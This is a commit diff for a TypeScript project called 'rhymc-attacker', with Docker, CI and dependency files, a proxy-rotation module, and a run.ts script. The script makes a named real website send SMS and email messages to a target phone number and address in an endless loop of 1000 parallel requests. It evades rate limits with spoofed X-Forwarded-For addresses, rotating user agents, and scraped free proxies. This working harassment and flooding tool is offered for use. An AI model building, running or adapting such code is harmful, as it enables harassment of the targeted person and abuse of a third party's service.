first

.dockerignore

+# Logs
+logs
+*.log
+npm-debug.log*
+yarn-debug.log*
+yarn-error.log*
+lerna-debug.log*
+
+# Diagnostic reports (https://nodejs.org/api/report.html)
+report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json
+
+# Runtime data
+pids
+*.pid
+*.seed
+*.pid.lock
+
+# Directory for instrumented libs generated by jscoverage/JSCover
+lib-cov
+
+# Coverage directory used by tools like istanbul
+coverage
+*.lcov
+
+# nyc test coverage
+.nyc_output
+
+# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files)
+.grunt
+
+# Bower dependency directory (https://bower.io/)
+bower_components
+
+# node-waf configuration
+.lock-wscript
+
+# Compiled binary addons (https://nodejs.org/api/addons.html)
+build/Release
+
+# Dependency directories
+node_modules/
+jspm_packages/
+
+# TypeScript v1 declaration files
+typings/
+
+# TypeScript cache
+*.tsbuildinfo
+
+# Optional npm cache directory
+.npm
+
+# Optional eslint cache
+.eslintcache
+
+# Microbundle cache
+.rpt2_cache/
+.rts2_cache_cjs/
+.rts2_cache_es/
+.rts2_cache_umd/
+
+# Optional REPL history
+.node_repl_history
+
+# Output of 'npm pack'
+*.tgz
+
+# Yarn Integrity file
+.yarn-integrity
+
+# dotenv environment variables file
+.env
+.env.test
+
+# parcel-bundler cache (https://parceljs.org/)
+.cache
+
+# Next.js build output
+.next
+
+# Nuxt.js build / generate output
+.nuxt
+dist
+
+# Gatsby files
+.cache/
+# Comment in the public line in if your project uses Gatsby and *not* Next.js
+# https://nextjs.org/blog/next-9-1#public-directory-support
+# public
+
+# vuepress build output
+.vuepress/dist
+
+# Serverless directories
+.serverless/
+
+# FuseBox cache
+.fusebox/
+
+# DynamoDB Local files
+.dynamodb/
+
+# TernJS port file
+.tern-port
+
+/build
+/output
+
+.git*
+.dockerignore
+Dockerfile
+.gitlab-ci.yml
+/config.yaml

.gitignore

+# Logs
+logs
+*.log
+npm-debug.log*
+yarn-debug.log*
+yarn-error.log*
+lerna-debug.log*
+
+# Diagnostic reports (https://nodejs.org/api/report.html)
+report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json
+
+# Runtime data
+pids
+*.pid
+*.seed
+*.pid.lock
+
+# Directory for instrumented libs generated by jscoverage/JSCover
+lib-cov
+
+# Coverage directory used by tools like istanbul
+coverage
+*.lcov
+
+# nyc test coverage
+.nyc_output
+
+# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files)
+.grunt
+
+# Bower dependency directory (https://bower.io/)
+bower_components
+
+# node-waf configuration
+.lock-wscript
+
+# Compiled binary addons (https://nodejs.org/api/addons.html)
+build/Release
+
+# Dependency directories
+node_modules/
+jspm_packages/
+
+# TypeScript v1 declaration files
+typings/
+
+# TypeScript cache
+*.tsbuildinfo
+
+# Optional npm cache directory
+.npm
+
+# Optional eslint cache
+.eslintcache
+
+# Microbundle cache
+.rpt2_cache/
+.rts2_cache_cjs/
+.rts2_cache_es/
+.rts2_cache_umd/
+
+# Optional REPL history
+.node_repl_history
+
+# Output of 'npm pack'
+*.tgz
+
+# Yarn Integrity file
+.yarn-integrity
+
+# dotenv environment variables file
+.env
+.env.test
+
+# parcel-bundler cache (https://parceljs.org/)
+.cache
+
+# Next.js build output
+.next
+
+# Nuxt.js build / generate output
+.nuxt
+dist
+
+# Gatsby files
+.cache/
+# Comment in the public line in if your project uses Gatsby and *not* Next.js
+# https://nextjs.org/blog/next-9-1#public-directory-support
+# public
+
+# vuepress build output
+.vuepress/dist
+
+# Serverless directories
+.serverless/
+
+# FuseBox cache
+.fusebox/
+
+# DynamoDB Local files
+.dynamodb/
+
+# TernJS port file
+.tern-port
+
+/build
+/output
+/config.yaml

.gitlab-ci.yml

+stages:
+  - build
+  - deploy
+
+variables:
+  GIT_DEPTH: "1"
+  CONTAINER_TEST_IMAGE: $CI_REGISTRY_IMAGE:$CI_COMMIT_REF_SLUG
+  CONTAINER_RELEASE_IMAGE: $CI_REGISTRY_IMAGE:latest
+
+before_script:
+  - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY
+
+build:
+  stage: build
+  tags: 
+    - docker
+  script:
+    - docker build --pull -t $CONTAINER_TEST_IMAGE .
+    - docker push $CONTAINER_TEST_IMAGE
+
+deploy_latest:
+  stage: deploy
+  tags: 
+    - docker
+  script:
+    - docker pull $CONTAINER_TEST_IMAGE
+    - docker tag $CONTAINER_TEST_IMAGE $CONTAINER_RELEASE_IMAGE
+    - docker push $CONTAINER_RELEASE_IMAGE
+  only:
+    - master
+
+deploy_tag:
+  stage: deploy
+  tags: 
+    - docker
+  variables:
+    CONTAINER_TAG_IMAGE: $CI_REGISTRY_IMAGE:$CI_COMMIT_TAG
+  script:
+    - docker pull $CONTAINER_TEST_IMAGE
+    - docker tag $CONTAINER_TEST_IMAGE $CONTAINER_TAG_IMAGE
+    - docker push $CONTAINER_TAG_IMAGE
+  only:
+    - tags

Dockerfile

+FROM node:buster-slim
+RUN apt update && apt -y install python3 && rm -rf /var/lib/apt/lists/*
+WORKDIR /usr/src/app
+COPY ./package*.json ./
+RUN npm ci
+COPY . ./
+RUN npm run build
+
+ENV USE_PROXY "true"
+ENV THREADS 1000
+
+CMD ["npm", "run", "start"]

package-lock.json

+{
+  "name": "rhymc-attacker",
+  "version": "1.0.0",
+  "lockfileVersion": 1,
+  "requires": true,
+  "dependencies": {
+    "@types/bunyan": {
+      "version": "1.8.6",
+      "resolved": "https://registry.npmjs.org/@types/bunyan/-/bunyan-1.8.6.tgz",
+      "integrity": "sha512-YiozPOOsS6bIuz31ilYqR5SlLif4TBWsousN2aCWLi5233nZSX19tFbcQUPdR7xJ8ypPyxkCGNxg0CIV5n9qxQ==",
+      "requires": {
+        "@types/node": "*"
+      }
+    },
+    "@types/node": {
+      "version": "14.0.27",
+      "resolved": "https://registry.npmjs.org/@types/node/-/node-14.0.27.tgz",
+      "integrity": "sha512-kVrqXhbclHNHGu9ztnAwSncIgJv/FaxmzXJvGXNdcCpV1b8u1/Mi6z6m0vwy0LzKeXFTPLH0NzwmoJ3fNCIq0g=="
+    },
+    "@types/underscore": {
+      "version": "1.10.21",
+      "resolved": "https://registry.npmjs.org/@types/underscore/-/underscore-1.10.21.tgz",
+      "integrity": "sha512-tDEGvuNq36TPjzqXwqzjbcRJSn0I7XH03817tWVhAaaz8k5+0CwUH2K2KpZ3oB5sgkhGMV2l6KhIG401I+ODgg=="
+    },
+    "axios": {
+      "version": "0.19.2",
+      "resolved": "https://registry.npmjs.org/axios/-/axios-0.19.2.tgz",
+      "integrity": "sha512-fjgm5MvRHLhx+osE2xoekY70AhARk3a6hkN+3Io1jc00jtquGvxYlKlsFUhmUET0V5te6CcZI7lcv2Ym61mjHA==",
+      "requires": {
+        "follow-redirects": "1.5.10"
+      }
+    },
+    "balanced-match": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.0.tgz",
+      "integrity": "sha1-ibTRmasr7kneFk6gK4nORi1xt2c=",
+      "optional": true
+    },
+    "brace-expansion": {
+      "version": "1.1.11",
+      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz",
+      "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==",
+      "optional": true,
+      "requires": {
+        "balanced-match": "^1.0.0",
+        "concat-map": "0.0.1"
+      }
+    },
+    "bunyan": {
+      "version": "1.8.14",
+      "resolved": "https://registry.npmjs.org/bunyan/-/bunyan-1.8.14.tgz",
+      "integrity": "sha512-LlahJUxXzZLuw/hetUQJmRgZ1LF6+cr5TPpRj6jf327AsiIq2jhYEH4oqUUkVKTor+9w2BT3oxVwhzE5lw9tcg==",
+      "requires": {
+        "dtrace-provider": "~0.8",
+        "moment": "^2.19.3",
+        "mv": "~2",
+        "safe-json-stringify": "~1"
+      }
+    },
+    "concat-map": {
+      "version": "0.0.1",
+      "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz",
+      "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=",
+      "optional": true
+    },
+    "debug": {
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz",
+      "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==",
+      "requires": {
+        "ms": "2.0.0"
+      }
+    },
+    "dtrace-provider": {
+      "version": "0.8.8",
+      "resolved": "https://registry.npmjs.org/dtrace-provider/-/dtrace-provider-0.8.8.tgz",
+      "integrity": "sha512-b7Z7cNtHPhH9EJhNNbbeqTcXB8LGFFZhq1PGgEvpeHlzd36bhbdTWoE/Ba/YguqpBSlAPKnARWhVlhunCMwfxg==",
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+      "requires": {
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+      "requires": {
+        "debug": "=3.1.0"
+      }
+    },
+    "glob": {
+      "version": "6.0.4",
+      "resolved": "https://registry.npmjs.org/glob/-/glob-6.0.4.tgz",
+      "integrity": "sha1-DwiGD2oVUSey+t1PnOJLGqtuTSI=",
+      "optional": true,
+      "requires": {
+        "inflight": "^1.0.4",
+        "inherits": "2",
+        "minimatch": "2 || 3",
+        "once": "^1.3.0",
+        "path-is-absolute": "^1.0.0"
+      }
+    },
+    "iconv-lite": {
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+      "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.2.tgz",
+      "integrity": "sha512-2y91h5OpQlolefMPmUlivelittSWy0rP+oYVpn6A7GwVHNE8AWzoYOBNmlwks3LobaJxgHCYZAnyNo2GgpNRNQ==",
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+      }
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+      "integrity": "sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=",
+      "optional": true,
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+        "once": "^1.3.0",
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+      }
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+      "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
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+      "optional": true,
+      "requires": {
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+      }
+    },
+    "minimist": {
+      "version": "1.2.5",
+      "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz",
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+    },
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+      "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.5.tgz",
+      "integrity": "sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==",
+      "optional": true,
+      "requires": {
+        "minimist": "^1.2.5"
+      }
+    },
+    "moment": {
+      "version": "2.27.0",
+      "resolved": "https://registry.npmjs.org/moment/-/moment-2.27.0.tgz",
+      "integrity": "sha512-al0MUK7cpIcglMv3YF13qSgdAIqxHTO7brRtaz3DlSULbqfazqkc5kEjNrLDOM7fsjshoFIihnU8snrP7zUvhQ==",
+      "optional": true
+    },
+    "ms": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+      "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
+    },
+    "mv": {
+      "version": "2.1.1",
+      "resolved": "https://registry.npmjs.org/mv/-/mv-2.1.1.tgz",
+      "integrity": "sha1-rmzg1vbV4KT32JN5jQPB6pVZtqI=",
+      "optional": true,
+      "requires": {
+        "mkdirp": "~0.5.1",
+        "ncp": "~2.0.0",
+        "rimraf": "~2.4.0"
+      }
+    },
+    "nan": {
+      "version": "2.14.1",
+      "resolved": "https://registry.npmjs.org/nan/-/nan-2.14.1.tgz",
+      "integrity": "sha512-isWHgVjnFjh2x2yuJ/tj3JbwoHu3UC2dX5G/88Cm24yB6YopVgxvBObDY7n5xW6ExmFhJpSEQqFPvq9zaXc8Jw==",
+      "optional": true
+    },
+    "ncp": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/ncp/-/ncp-2.0.0.tgz",
+      "integrity": "sha1-GVoh1sRuNh0vsSgbo4uR6d9727M=",
+      "optional": true
+    },
+    "once": {
+      "version": "1.4.0",
+      "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz",
+      "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=",
+      "optional": true,
+      "requires": {
+        "wrappy": "1"
+      }
+    },
+    "path-is-absolute": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz",
+      "integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18=",
+      "optional": true
+    },
+    "querystring": {
+      "version": "0.2.0",
+      "resolved": "https://registry.npmjs.org/querystring/-/querystring-0.2.0.tgz",
+      "integrity": "sha1-sgmEkgO7Jd+CDadW50cAWHhSFiA="
+    },
+    "rimraf": {
+      "version": "2.4.5",
+      "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.4.5.tgz",
+      "integrity": "sha1-7nEM5dk6j9uFb7Xqj/Di11k0sto=",
+      "optional": true,
+      "requires": {
+        "glob": "^6.0.1"
+      }
+    },
+    "safe-json-stringify": {
+      "version": "1.2.0",
+      "resolved": "https://registry.npmjs.org/safe-json-stringify/-/safe-json-stringify-1.2.0.tgz",
+      "integrity": "sha512-gH8eh2nZudPQO6TytOvbxnuhYBOvDBBLW52tz5q6X58lJcd/tkmqFR+5Z9adS8aJtURSXWThWy/xJtJwixErvg==",
+      "optional": true
+    },
+    "safer-buffer": {
+      "version": "2.1.2",
+      "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz",
+      "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg=="
+    },
+    "typescript": {
+      "version": "3.9.7",
+      "resolved": "https://registry.npmjs.org/typescript/-/typescript-3.9.7.tgz",
+      "integrity": "sha512-BLbiRkiBzAwsjut4x/dsibSTB6yWpwT5qWmC2OfuCg3GgVQCSgMs4vEctYPhsaGtd0AeuuHMkjZ2h2WG8MSzRw=="
+    },
+    "underscore": {
+      "version": "1.10.2",
+      "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.10.2.tgz",
+      "integrity": "sha512-N4P+Q/BuyuEKFJ43B9gYuOj4TQUHXX+j2FqguVOpjkssLUUrnJofCcBccJSCoeturDoZU6GorDTHSvUDlSQbTg=="
+    },
+    "wrappy": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",
+      "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=",
+      "optional": true
+    }
+  }
+}

package.json

+{
+  "name": "rhymc-attacker",
+  "version": "1.0.0",
+  "description": "Rhymc is rubbish.",
+  "main": "build/run.js",
+  "scripts": {
+    "build": "./node_modules/.bin/tsc",
+    "start": "node build/run.js"
+  },
+  "repository": {
+    "type": "git",
+    "url": "git@git.mycard.moe:nanahira/rhymc-attacker"
+  },
+  "author": "Nanahira",
+  "license": "ISC",
+  "dependencies": {
+    "@types/bunyan": "^1.8.6",
+    "@types/node": "^14.0.27",
+    "@types/underscore": "^1.10.21",
+    "axios": "^0.19.2",
+    "bunyan": "^1.8.14",
+    "iconv-lite": "^0.6.2",
+    "querystring": "^0.2.0",
+    "typescript": "^3.9.7",
+    "underscore": "^1.10.2"
+  }
+}

proxy.ts

+import axios, { AxiosProxyConfig, AxiosRequestConfig } from "axios";
+import bunyan from "bunyan";
+
+//const proxySourceList = [
+//	"http://www.89ip.cn/tqdl.html?api=1&num=9999", "http://www.66ip.cn/mo.php?tqsl=9999"
+//]
+
+//for (let i = 1; i <= 2000; ++i) {
+//	proxySourceList.push(`http://www.xiladaili.com/http/${i}`);
+//}
+
+export interface ProxyConfig {
+	useProxy: boolean,
+	proxySource: string[],
+	timeout: number
+}
+
+const agentList = [
+	'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50',
+	'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50',
+	'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0',
+	'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)',
+	'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)',
+	'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
+	'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1',
+	'Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1',
+	'Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; en) Presto/2.8.131 Version/11.11',
+	'Opera/9.80 (Windows NT 6.1; U; en) Presto/2.8.131 Version/11.11',
+	'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11',
+	'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon 2.0)',
+	'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; TencentTraveler 4.0)',
+	'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)',
+	'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; The World)',
+	'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SE 2.X MetaSr 1.0; SE 2.X MetaSr 1.0; .NET CLR 2.0.50727; SE 2.X MetaSr 1.0)',
+	'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'
+]
+
+async function testProxy(proxy: AxiosProxyConfig) {
+	await axios.get("http://mirrors.aliyun.com/debian/pool", {
+		proxy,
+		headers: {
+			"User-Agent": agentList[4]
+		},
+		timeout: this.config.timeout,
+	});
+	return proxy;
+}
+
+async function checkProxy(proxy: AxiosProxyConfig) {
+	let isProxyUsable = false;
+	try {
+		await testProxy(proxy);
+		//this.logger.info(`Proxy ${proxy.host} is ok.`);
+		isProxyUsable = true;
+	} catch (e) {
+		//this.logger.warn(`Proxy ${proxy.host} is broken: ${e.toString()}`);
+	}
+	return isProxyUsable;
+}
+
+async function filterProxies(proxies: AxiosProxyConfig[]) {
+	const proxiesUsableList = await Promise.all(proxies.map(checkProxy));
+	return proxies.filter((proxy, index) => {
+		return proxiesUsableList[index];
+	});
+}
+
+//async function findFirstUsableProxy(proxies: AxiosProxyConfig[]) {
+//	return [await Promise.any(proxies.map(testProxy))];
+//}
+
+export class ProxyFetcher {
+	proxies: AxiosProxyConfig[];
+	counter: number;
+	config: ProxyConfig;
+	logger: bunyan;
+	constructor(config: ProxyConfig) {
+		this.config = config;
+		this.proxies = [];
+		this.counter = 0;
+		this.logger = bunyan.createLogger({ name: "proxy-fetcher" });
+	}
+	async initProxiesFrom(url: string) {
+		if (!this.config.useProxy) {
+			return;
+		}
+		this.logger.info(`Fetching proxies from ${url}.`)
+		while (true) {
+			try {
+				const proxyPage: string = (await axios.get(url, {
+					responseType: "document",
+				})).data;
+				const proxies: AxiosProxyConfig[] = proxyPage.match(/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{1,5}/g).map(proxyString => {
+					const [host, _port] = proxyString.split(":");
+					const port = parseInt(_port);
+					const proxy = { host, port };
+					return proxy;
+				});
+				//const usableProxies = await filterProxies(proxies);
+				for (let proxy of proxies) {
+					this.proxies.push(proxy);
+				}
+				this.logger.warn(`Got ${proxies.length} proxies from ${url}.`);
+				return;
+			} catch (e) {
+				this.logger.warn(`Failed fetching proxy list from ${url}: ${e.toString()}`)
+			}
+		}
+	}
+	async initProxies() {
+		await Promise.all(this.config.proxySource.map((m) => {
+			return this.initProxiesFrom(m);
+		}));
+	}
+	async getWithProxy(url: string, options: AxiosRequestConfig) {
+		while (true) {
+			if (this.config.useProxy && !this.proxies.length) {
+				await this.initProxies();
+			}
+			const proxyIndex = !this.config.useProxy ? null : (++this.counter) % this.proxies.length;
+			//const proxyIndex = 0;
+			const proxy = !this.config.useProxy ? null : this.proxies[proxyIndex];
+			try {
+				const data = (await axios.get(url, {
+					proxy,
+					headers: {
+						"User-Agent": agentList[this.counter % agentList.length]
+					},
+					timeout: this.config.timeout,
+					...options
+				})).data;
+				return data;
+			} catch (e) {
+				if (this.config.useProxy) {
+					this.proxies.splice(proxyIndex, 1);
+				}
+				this.logger.warn(`Failed fetching data from ${url}: ${e.toString()} ${this.proxies.length} proxies left.`)
+			}
+		}
+	}
+}

run.ts

+import { ProxyFetcher } from "./proxy";
+import _ from "underscore";
+import bunyan from "bunyan";
+import qs from "querystring";
+import iconv from "iconv-lite";
+
+const targetPhone = process.env["TARGET_PHONE"];
+const targetEmail = process.env["TARGET_EMAIL"];
+const threadCount = process.env["THREADS"] ? parseInt(process.env["THREADS"]) : 1;
+
+if (!targetPhone && !targetEmail) {
+	throw "Either a target phone or a target email is needed.";
+}
+
+const proxy = new ProxyFetcher({
+	useProxy: (process.env["USE_PROXY"] === "true"),
+	proxySource: ["http://www.89ip.cn/tqdl.html?api=1&num=9999", "http://www.66ip.cn/mo.php?tqsl=9999"],
+	timeout: 10000
+})
+
+const logger = bunyan.createLogger({ name: "rhymc-attacker" });
+
+function getRandomIPAddress() {
+	const tmpList: number[] = [];
+	for (let i = 0; i < 4; ++i) {
+		tmpList.push(Math.floor(Math.random() * 255));
+	}
+	return tmpList.join(".");
+}
+
+let loopCount = 0;
+
+type AttackType = "sendemail" | "sendmobi";
+
+async function attack(attackType: AttackType) {
+	const attackID = ++loopCount;
+	if (attackType === "sendemail" && !targetEmail || attackType === "sendmobi" && !targetPhone) {
+		return;
+	}
+	const params: any = {
+		lm: attackType,
+		sd: Math.random()
+	}
+	if (attackType === "sendemail") {
+		params.uemail = targetEmail;
+	}
+	if (attackType === "sendmobi") {
+		params.umobie = targetPhone;
+	}
+	const fakeIP = getRandomIPAddress();
+	logger.info(`${attackID}: Attack ${attackType} started => ${fakeIP} ${JSON.stringify(params)}`);
+	try {
+		const returnBuffer: Buffer = await proxy.getWithProxy("https://www.rhycloud.com/chkName.asp", {
+			paramsSerializer: qs.stringify,
+			params,
+			responseType: "arraybuffer",
+			headers: {
+				"X-Forwarded-For": fakeIP
+			}
+		});
+		const returnData = iconv.decode(returnBuffer, "GB2312");
+		logger.info(`${attackID}: Attack ${attackType} result => ${returnData}`);
+	} catch (e) {
+		logger.warn(`${attackID}: Attack ${attackType} failed => ${e.toString()}`);
+	}
+}
+
+
+async function main() {
+	logger.info(`Started.`);
+	logger.info(`Loading proxies.`);
+	await proxy.initProxies();
+	logger.info(`Attacking target phone: ${targetPhone} and target email: ${targetEmail}`);
+	while (true) {
+		for (let attackType of ["sendemail", "sendmobi"]) {
+			const threads = _.range(threadCount).map(m => attack(attackType as AttackType));
+			await Promise.all(threads);
+		}
+	}
+}
+main();

tsconfig.json

+{
+	"compilerOptions": {
+		"outDir": "build",
+		"module": "commonjs",
+		"target": "esnext",
+		"esModuleInterop": true,
+		"sourceMap": true
+	},
+	"compileOnSave": true,
+	"allowJs": true,
+	"include": [
+		"*.ts"
+	]
+}